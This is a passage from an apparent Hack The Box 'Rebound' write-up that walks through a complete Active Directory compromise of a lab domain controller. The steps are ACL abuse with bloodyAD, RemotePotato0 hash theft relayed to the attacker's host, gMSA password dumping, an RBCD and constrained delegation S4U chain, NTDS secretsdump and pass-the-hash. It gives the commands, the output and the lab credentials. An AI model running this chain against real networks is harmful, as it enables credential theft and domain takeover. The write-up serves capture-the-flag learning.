Since we have valid credentials for oorend and it has Self privilege over ServiceMgmt, we could attempt to add oorend to ServiceMgmt. To achieve this, I'll use bloodyAD (you can install it from PyPi):


elswix@ubuntu$ bloodyAD -d rebound.htb -u 'oorend' -p '1GR8t@$$4u' --host 10.10.11.231 add groupMember servicemgmt oorend
[+] oorend added to servicemgmt

Great, it worked! Now, since we belong to ServiceMgmt, we can exploit the path displayed on Bloodhound.


Recalling what we've seen, as a member of ServiceMgmt, we have GenericAll access over the SERVICE USERS OU, and since it "Contains" the winrm_svc user, we could change the password of winrm_svc.


One step at a time, we will first grant GenericAll privilege to oorend in order to subsequently operate over the SERVICE USERS OU.


elswix@ubuntu$ bloodyAD -d rebound.htb -u 'oorend' -p '1GR8t@$$4u' --host 10.10.11.231 add genericAll 'OU=SERVICE USERS,DC=REBOUND,DC=HTB' oorend
[+] oorend has now GenericAll on OU=SERVICE USERS,DC=REBOUND,DC=HTB

Now, leveraging our privileges over the SERVICE USERS OU, I'll assign GenericAll privileges to oorend over winrm_svc to subsequently modify its password.


elswix@ubuntu$ bloodyAD -d rebound.htb -u 'oorend' -p '1GR8t@$$4u' --host 10.10.11.231 add genericAll winrm_svc oorend
[+] oorend has now GenericAll on winrm_svc

Finally, we can change the password of winrm_svc:


elswix@ubuntu$ bloodyAD -d rebound.htb -u 'oorend' -p '1GR8t@$$4u' --host 10.10.11.231 set password 'winrm_svc' 'Password123!'
[+] Password changed successfully!

If everything worked correctly, the password of winrm_svc should be Password123!.


elswix@ubuntu$ crackmapexec smb 10.10.11.231 -u 'winrm_svc' -p 'Password123!'
SMB         10.10.11.231    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.231    445    DC01             [+] rebound.htb\winrm_svc:Password123!

Great! As winrm_svc, we could gain access to the system via WinRM.


elswix@ubuntu$ evil-winrm -i 10.10.11.231 -u 'winrm_svc' -p 'Password123!'

Evil-WinRM shell v3.5

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\winrm_svc\Documents>

Finally, we gained access to the system as winrm_svc.


We can read user.txt:


*Evil-WinRM* PS C:\Users\winrm_svc\desktop> type user.txt
c3f52**************1883e3b632648
*Evil-WinRM* PS C:\Users\winrm_svc\desktop>

Upon accessing the system, I opted to relaunch SharpHound, this time running it locally. However, it failed to retrieve any additional relevant information.


After conducting system enumeration using PowerView, I discovered that the computer account delegator$ possesses constrained delegation privileges over the http/dc01.rebound.htb SPN:


*Evil-WinRM* PS C:\temp> Get-DomainComputer -TrustedToAuth 


pwdlastset                     : 3/28/2024 6:27:42 PM
logoncount                     : 14
badpasswordtime                : 3/29/2024 11:25:23 AM
msds-managedpasswordpreviousid : {1, 0, 0, 0...}
distinguishedname              : CN=delegator,CN=Managed Service Accounts,DC=rebound,DC=htb 
objectclass                    : {top, person, organizationalPerson, user...}
lastlogontimestamp             : 4/8/2023 11:12:56 AM
name                           : delegator
objectsid                      : S-1-5-21-4078382237-1492182817-2568127209-7687
msds-groupmsamembership        : {1, 0, 4, 128...}
oocalpolicyflags               : 0
codepage                       : 0
samaccounttype                 : MACHINE_ACCOUNT
accountexpires                 : NEVER
countrycode                    : 0
whenchanged                    : 3/29/2024 1:27:42 AM
instancetype                   : 4
usncreated                     : 69353
objectguid                     : c9da97ae-5e35-44d2-aa15-114aecdc0caf
msds-managedpasswordid         : {1, 0, 0, 0...}
msds-allowedtodelegateto       : http/dc01.rebound.htb
samaccountname                 : delegator$
objectcategory                 : CN=ms-DS-Group-Managed-Service-Account,CN=Schema,CN=Configuration,DC=rebound,DC=htb
dscorepropagationdata          : 1/1/1601 12:00:00 AM
serviceprincipalname           : browser/dc01.rebound.htb
msds-managedpasswordinterval   : 30
lastlogon                      : 4/9/2023 3:25:20 AM
badpwdcount                    : 1
cn                             : delegator
useraccountcontrol             : WORKSTATION_TRUST_ACCOUNT
whencreated                    : 4/8/2023 9:08:31 AM
primarygroupid                 : 515
iscriticalsystemobject         : False
msds-supportedencryptiontypes  : 28
usnchanged                     : 172255
lastlogoff                     : 12/31/1600 4:00:00 PM
dnshostname                    : gmsa.rebound.htb



*Evil-WinRM* PS C:\temp>

You can also enumerate it using Get-NetComputer:


*Evil-WinRM* PS C:\temp> Get-NetComputer * | select name, msds-allowedtodelegateto, useraccountcontrol | fl         


name                     : DC01
msds-allowedtodelegateto : 
useraccountcontrol       : SERVER_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION 

name                     : delegator
msds-allowedtodelegateto : http/dc01.rebound.htb
useraccountcontrol       : WORKSTATION_TRUST_ACCOUNT



*Evil-WinRM* PS C:\temp>

Well, let's explain what this privilege entails:


If you have compromised a user account or a computer (machine account) that has kerberos constrained delegation enabled, it's possible to impersonate any domain user (including administrator) and authenticate to a service that the user account is trusted to delegate to.


I took this information from this article.


In other words, Constrained delegation allows a service to impersonate a user and access another service on behalf of that user. It's often used for seamless authentication across multiple services. When configured, a service can request a Kerberos ticket for a user and use it to access other services on the user's behalf, within the specified constraints.


The msDS-AllowedToDelegateTo specifies which services a particular service can delegate to. This attribute is set on the user or computer object that represents the service requesting delegation.


This implies that leveraging delegator$, we could potentially exploit constrained delegation over the http/dc01.rebound.htb service, which could serve as a privilege escalation vector. However, since we lack valid credentials for delegator$, we need to find a method to gain access as that user.


After searching for paths to get to the delegator$ user, I found this:



This is pretty interesting. TBrady can read the GMSA Password of gmsa.rebound.htb (delegator$). This means that, as TBrady, we can obtain valid credentials for delegator$. However, firstly, we need to find a way to gain access or obtain valid credentials for tbrady.


Bloodhound didn't report any potential vectors to achieve access as TBrady, aside from administrative privileges.



Upon enumerating the running processes on the victim machine, something caught my attention:


*Evil-WinRM* PS C:\temp> get-process

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName                                                  
-------  ------    -----      -----     ------     --  -- -----------                                                  
    384      32    11976      20796              2604   0 certsrv                                                      
    115       5     2352       4196       0.02   5852   0 cmd                                                          
    153       9     6664      12648       0.02   5340   0 conhost                                                      
    482      19     2360       5604               388   0 csrss                                                        
    268      16     2200       5260               508   1 csrss                                                        
    361      15     3436      14892              5520   1 ctfmon                       
    382      30     7720      12088              2744   0 dns                                                          
    581      24    24468      50576               320   1 dwm                                                          
   1405      55    21736      83552              5784   1 explorer            ...[snip]...                                                    
*Evil-WinRM* PS C:\temp>

As you can see, there are processes with Session ID 1, which indicates that someone has an active session on the box. This is unusual on a HTB machine. However, the issue arises when inspecting the active sessions, as it doesn't display anything.


*Evil-WinRM* PS C:\temp> query user *
query user *
No User exists for *
*Evil-WinRM* PS C:\temp> qwinsta *
No session exists for *

That's strange; I'm not entirely sure why it's not displaying anything. It could be because we're executing them remotely. Anyway, when I executed it with RunasCs, it worked fine:


*Evil-WinRM* PS C:\temp> .\runascs.exe winrm_svc 'Password123!' 'cmd /c query user' -l 9

 USERNAME              SESSIONNAME        ID  STATE   IDLE TIME  LOGON TIME
 tbrady                console             1  Active      none   3/30/2024 2:03 PM
*Evil-WinRM* PS C:\temp>

This suggests that the reason it wasn't working previously could indeed be due to executing them remotely. Since RunasCs creates a local process, it may have resolved the issue this time.


This is intriguing; TBrady is currently logged on to the box.


Remote Potato - Concept


RemotePotato is a exploit that enables us to exploit active sessions on the system. As per the official repository:


It abuses the DCOM activation service and trigger an NTLM authentication of any user currently logged on in the target machine. RemotePotato0 also allows to grab and steal NTLMv2 hashes of every users logged on a machine


To relay an NTLM authentication for command execution, the user needs to possess administrator or local administrator privileges on the system, which TBrady lacks. However, this method still enables us to steal NTLMv2 hashes, which can subsequently be cracked to recover the user password.


RemotePotato - Exploitation


Firstly, I uploaded the compiled version onto the victim machine:


*Evil-WinRM* PS C:\temp> .\RemotePotato0.exe -h


        RemotePotato0
        @splinter_code & @decoder_it



Mandatory args:
-m module
        Allowed values:
        0 - Rpc2Http cross protocol relay server + potato trigger (default)
        1 - Rpc2Http cross protocol relay server
        2 - Rpc capture (hash) server + potato trigger
        3 - Rpc capture (hash) server


Other args: (someone could be mandatory and/or optional based on the module you use)
-r Remote HTTP relay server ip
-t Remote HTTP relay server port (Default 80)
-x Rogue Oxid Resolver ip (default 127.0.0.1)
-p Rogue Oxid Resolver port (default 9999)
-l RPC Relay server listening port (Default 9997)
-s Session id for the Cross Session Activation attack (default disabled)
-c CLSID (Default {5167B42F-C111-47A1-ACC4-8EABE61B0B54})
*Evil-WinRM* PS C:\temp>

To execute it, I'll utilize the specified parameters:


-m 2: indicating method 2, which involves "Rpc capture (hash) server + potato trigger" -x 10.10.16.5: setting the rogue Oxid resolver IP to my own


In order to perform OXID resolution, we need to redirect traffic back to RemotePotato for the RPC calls:


elswix@ubuntu$ socat -v TCP-LISTEN:135,fork,reuseaddr TCP:10.10.11.231:9999

Finally, let's execute RemotePotato:


*Evil-WinRM* PS C:\temp> .\RemotePotato0.exe -m 2 -x 10.10.16.5        
[*] Detected a Windows Server version not compatible with JuicyPotato. RogueOxidResolver must be run remotely. Remember to forward
 tcp port 135 on 10.10.16.5 to your victim machine on port 9999
[*] Example Network redirector: 
        sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:{{ThisMachineIp}}:9999
[*] Starting the RPC server to capture the credentials hash from the user authentication!!
[*] Calling CoGetInstanceFromIStorage with CLSID:{5167B42F-C111-47A1-ACC4-8EABE61B0B54}
[*] RPC relay server listening on port 9997 ...
[*] Starting RogueOxidResolver RPC Server listening on port 9999 ... 
[*] IStoragetrigger written: 102 bytes
[*] ServerAlive2 RPC Call
[*] ResolveOxid2 RPC call
[+] Received the relayed authentication on the RPC relay server on port 9997
[*] Connected to RPC Server 127.0.0.1 on port 9999
[+] User hash stolen!

NTLMv2 Client   : DC01
NTLMv2 Username : rebound\tbrady
NTLMv2 Hash     : tbrady::rebound:4a10cad65178c009:a45c29b4dd1b9a748c7f0d847bb892a1:0101000000000000bf1b40ecd682da016a727184289d97
ba0000000002000e007200650062006f0075006e006400010008004400430030003100040016007200650062006f0075006e0064002e0068007400620003002000
64006300300031002e007200650062006f0075006e0064002e00680074006200050016007200650062006f0075006e0064002e0068007400620007000800bf1b40
ecd682da01060004000600000008003000300000000000000001000000002000007d3e4973ba9fec2f29ba64a9e0aacdb12dc773ec0849f29b8386770e75f90f50
0a00100000000000000000000000000000000000090000000000000000000000

*Evil-WinRM* PS C:\temp>

Great! As you can see, we've successfully stolen the NTLMv2 hash of tbrady.


Now, let's attempt to crack it and retrieve the user password in plain text.


elswix@ubuntu$ john -w:/opt/seclists/Passwords/Leaked-Databases/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status

543BOMBOMBUNmanda (tbrady)     

1g 0:00:00:07 DONE (2024-03-30 09:33) 0.1295g/s 1578Kp/s 1578Kc/s 1578KC/s 5449944..543584
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
elswix@ubuntu$

It has been successfully cracked, and we obtained the user password in plain text. Let's verify that it works using crackmapexec:


elswix@ubuntu$ crackmapexec smb 10.10.11.231 -u 'tbrady' -p '543BOMBOMBUNmanda'
SMB         10.10.11.231    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.231    445    DC01             [+] rebound.htb\tbrady:543BOMBOMBUNmanda

Recalling what we've seen on the BloodHound report, as tbrady, we can read the GMSA password of delegator$. To achieve this, we can use gMSADumper. Additionally, BloodyAD can also retrieve the GMSA password.


elswix@ubuntu$ bloodyAD -d rebound.htb -u 'tbrady' -p '543BOMBOMBUNmanda' --host 10.10.11.231 get object 'delegator$' --attr 'msDS-ManagedPassword'

distinguishedName: CN=delegator,CN=Managed Service Accounts,DC=rebound,DC=htb
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:e1630b0e18242439a50e9d8b5f5b7524
msDS-ManagedPassword.B64ENCODED: 5bJ7n8t25Xmw187W3VrZocgFCr8VnedxIVdiml6khM2WAeex8N5QleqK4/TcRNUDQ8flaPX1lbwNF+GRtnHQMEM9WLY22DgoU/ZDOfYlHp/iSFjCEtRtRobUf+Mr1bbAiAY9+5Xb6nco/v8kWT4LE9hDH3bkfSe4TOJEVpHURKg5vJqEfL8hTviel0YNdJBF0VsMWJ1pWtSjwuW2bvncgqaMhol6i9Qpn0ADf7srMqMR5XXdVHxCcAyr08Q89fhlyTKOb4YfhnQvHGROtsUp0ySKNHLTv4bYDy6u2J/YBefaK6LraH+RwP/yRodXQTvD3wzDAmjx/QqRfEy7j1hL9A==
elswix@ubuntu$

I'll retain the NTLM hash and verify its validity using crackmapexec:


elswix@ubuntu$ crackmapexec smb 10.10.11.231 -u 'delegator$' -H 'e1630b0e18242439a50e9d8b5f5b7524'
SMB         10.10.11.231    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.231    445    DC01             [+] rebound.htb\delegator$:e1630b0e18242439a50e9d8b5f5b7524

It works, and now we have access as delegator$.


Constrained Delegation (CD)


As explained above, constrained delegation allows a service to impersonate a user to access another service on behalf of that user. Unlike unconstrained delegation, where a service can impersonate any user to access any service, constrained delegation restricts the services that can be accessed and limits the delegation to specific services.


As delegator$, we possess constrained delegation privileges over http/dc01.rebound.htb. Since we lack direct access to delegator$, exploiting this becomes more challenging. However, we can achieve this remotely.


Resource Based Constrained Delegation


To exploit this, I'll execute Resource-Based Constrained Delegation (RBCD) to delegate delegator$ from a domain user like ldap_monitor. Essentially, we'll configure RBCD to subsequently exploit CD.


Resource-Based Constrained Delegation (RBCD) enables services to impersonate users and access other services on behalf of those users. Unlike traditional Constrained Delegation (CD), which relies on delegating based on the client service (initiator), RBCD delegates permissions based on the target service (resource). This allows for more precise control over delegation, as administrators can specify exactly which services a service account is allowed to impersonate.


The msDS-AllowedToActOnBehalfOfOtherIdentity attribute is used to define which accounts are allowed to act on behalf of other identities for the purpose of Kerberos constrained delegation. When an account has this attribute set, it can be used to obtain service tickets (ST) on behalf of other accounts, effectively allowing it to impersonate those accounts for specific services.


To implement Resource-Based Constrained Delegation (RBCD), we can utilize the rbcd.py script from the impacket suite. This script primarily sets the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on the target specified in the -delegate-to parameter.



Note


This works because Computer Accounts (in our case delegator$) can write their own msDS-AllowedToActOnBehalfOfOtherIdentity attribute. Otherwise, it wouldn't work.



Initially, when running rbcd.py, it encountered an error:


elswix@ubuntu$ rbcd.py -delegate-to 'delegator$' -delegate-from 'oorend' -action write -use-ldaps -dc-ip dc01.rebound.htb rebound.htb/delegator$ -hashes :e1630b0e18242439a50e9d8b5f5b7524
Impacket v0.11.0 - Copyright 2023 Fortra

[-] automatic bind not successful - invalidCredentials

I don't know why it occurred, as we have valid credentials. Therefore, I decided to utilize Kerberos Authentication.


elswix@ubuntu$ getTGT.py 'rebound.htb/delegator$@10.10.11.231' -hashes :e1630b0e18242439a50e9d8b5f5b7524
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Saving ticket in delegator$@10.10.11.231.ccache

I'll export this ccache file to the KRB5CCNAME environment variable.


elswix@ubuntu$ export KRB5CCNAME='delegator$@10.10.11.231.ccache'

Then it threw this error:


elswix@ubuntu$ rbcd.py -delegate-to 'delegator$' -delegate-from 'oorend' -action write -no-pass -k -dc-ip 10.10.11.231 rebound.htb/delegator$ -use-ldaps
Impacket v0.11.0 - Copyright 2023 Fortra

[-] invalid server address

I repeated this process using older versions of Impacket, and it continued to throw the same error. Deciding to debug the rbcd.py program, I noticed that the issue originated from the init_ldap_connection function. Therefore, I created a virtual Python environment and made slight modifications to the function:


def init_ldap_connection(target, tls_version, args, domain, username, password, lmhash, nthash):
    user = '%s\\%s' % (domain, username)
    connect = args.dc_ip
...[snip]...
    ldap_server = ldap3.Server(connect, get_info=ldap3.ALL, port=port, use_ssl=use_ssl, tls=tls
...[snip]...

Now, the server address will be the value we supply to the -dc-ip parameter.


Finally, it worked, and we successfully modified the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of delegator.


elswix@ubuntu$ rbcd.py -delegate-to 'delegator$' -delegate-from 'ldap_monitor' -action write -no-pass -k -dc-ip 10.10.11.231 rebound.htb/delegator$ -use-ldaps -debug
Impacket v0.11.0 - Copyright 2023 Fortra

[+] Impacket Library Installation Path: /home/elswix/Desktop/elswix/HTB/Rebound/content/krb/venv/lib/python3.10/site-packages/impacket
[+] Using Kerberos Cache: delegator$@10.10.11.231.ccache
[+] SPN LDAP/DC01@REBOUND.HTB not found in cache
[+] AnySPN is True, looking for another suitable SPN
[+] Returning cached credential for KRBTGT/REBOUND.HTB@REBOUND.HTB
[+] Using TGT from cache
[+] Trying to connect to KDC at 10.10.11.231:88
[+] Initializing domainDumper()
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] oorend can now impersonate users on delegator$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*]     ldap_monitor   (S-1-5-21-4078382237-1492182817-2568127209-7681)
elswix@ubuntu$

Now, as ldap_monitor, we can act on behalf of any user over delegator$. Before requesting an ST on behalf of another user, we need to request a new TGT for oorend, due to the privilege modifications we made. Therefore, I'll use getTGT.py to request a new TGT.


elswix@ubuntu$ getTGT.py 'rebound.htb/ldap_monitor':'1GR8t@$$4u' -dc-ip dc01.rebound.htb
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Saving ticket in ldap_monitor.ccache

Don't forget to export the KRB5CCNAME variable:


elswix@ubuntu$ export KRB5CCNAME=oorend.ccache

Now, I'll request a Service Ticket (ST) on behalf of dc01$, specifying the SPN of delegator$:


elswix@ubuntu$ getST.py -spn 'browser/dc01.rebound.htb' -impersonate "dc01$" -dc-ip 10.10.11.231 'rebound.htb/ldap_monitor' -k -no-pass
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Impersonating dc01$
[*]    Requesting S4U2self
[*]    Requesting S4U2Proxy
[*] Saving ticket in dc01$.ccache
elswix@ubuntu$

Once we obtain the ST, we have to export it to the KRB5CCNAME variable:


elswix@ubuntu$ export KRB5CCNAME=dc01\$.ccache

Up to now, we have configured RBCD to act on behalf of the user ldap_monitor for delegator$. With this privilege, we can impersonate any user on delegator$, allowing us to perform privileged tasks with it. Subsequently, we have requested an ST on behalf of dc01$ for delegator$. Leveraging our ST and the fact that delegator$ has constrained delegation privileges, we can request a new ST impersonating the dc01$ user, but this time for the http/dc01.rebound.htb service (which is the DC).


One thing to highlight is that we're using the dc01$ account instead of administrator because the latter cannot be delegated. You can verify this within the system or by using BloodyAD.


elswix@ubuntu$ bloodyAD -d rebound.htb -u 'tbrady' -p '543BOMBOMBUNmanda' --host 10.10.11.231 get object 'administrator' --attr 'useraccountcontrol'

distinguishedName: CN=Administrator,CN=Users,DC=rebound,DC=htb
userAccountControl: NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD; NOT_DELEGATED

As you can see, it has the NOT_DELEGATED attribute, which essentially means it cannot be delegated.


To proceed, we need to specify the credentials of delegator and our Service Ticket. We can accomplish this by using the -additional-ticket parameter and then providing the credentials of delegator$.


elswix@ubuntu$ getST.py -spn 'http/dc01.rebound.htb' -impersonate "dc01$" -additional-ticket "dc01$.ccache" "rebound.htb/delegator$" -hashes :e1630b0e18242439a50e9d8b5f5b7524 -k -no-pass
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Getting TGT for user
[*] Impersonating dc01$
[*]    Using additional ticket dc01$.ccache instead of S4U2Self
[*]    Requesting S4U2Proxy
[*] Saving ticket in dc01$.ccache
elswix@ubuntu$

Now, let's export our new ST to the KRB5CCNAME variable:


elswix@ubuntu$ export KRB5CCNAME=dc01\$.ccache

Finally, using our new ST impersonating dc01$, we can perform privileged actions. Let's dump the NTDS using secretsdump.py:


elswix@ubuntu$ secretsdump.py dc01.rebound.htb -k
Impacket v0.11.0 - Copyright 2023 Fortra

[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:176be138594933bb67db3b2572fc91b8:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1108b27a9ff61ed4139d1443fbcf664b:::
ppaul:1951:aad3b435b51404eeaad3b435b51404ee:7785a4172e31e908159b0904e1153ec0:::
llune:2952:aad3b435b51404eeaad3b435b51404ee:e283977e2cbffafc0d6a6bd2a50ea680:::
...[snip]...
[*] Cleaning up...
elswix@ubuntu$

I'll retain the administrator NTLM hash and gain access to the system via WinRM:


elswix@ubuntu$ evil-winrm -i 10.10.11.231 -u administrator -H '176be138594933bb67db3b2572fc91b8'

Evil-WinRM shell v3.5

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>

Of course, it worked, and finally, we can read root.txt:


*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..\desktop
*Evil-WinRM* PS C:\Users\Administrator\desktop> cat root.txt
76334*****************55b6b0923b
*Evil-WinRM* PS C:\Users\Administrator\desktop>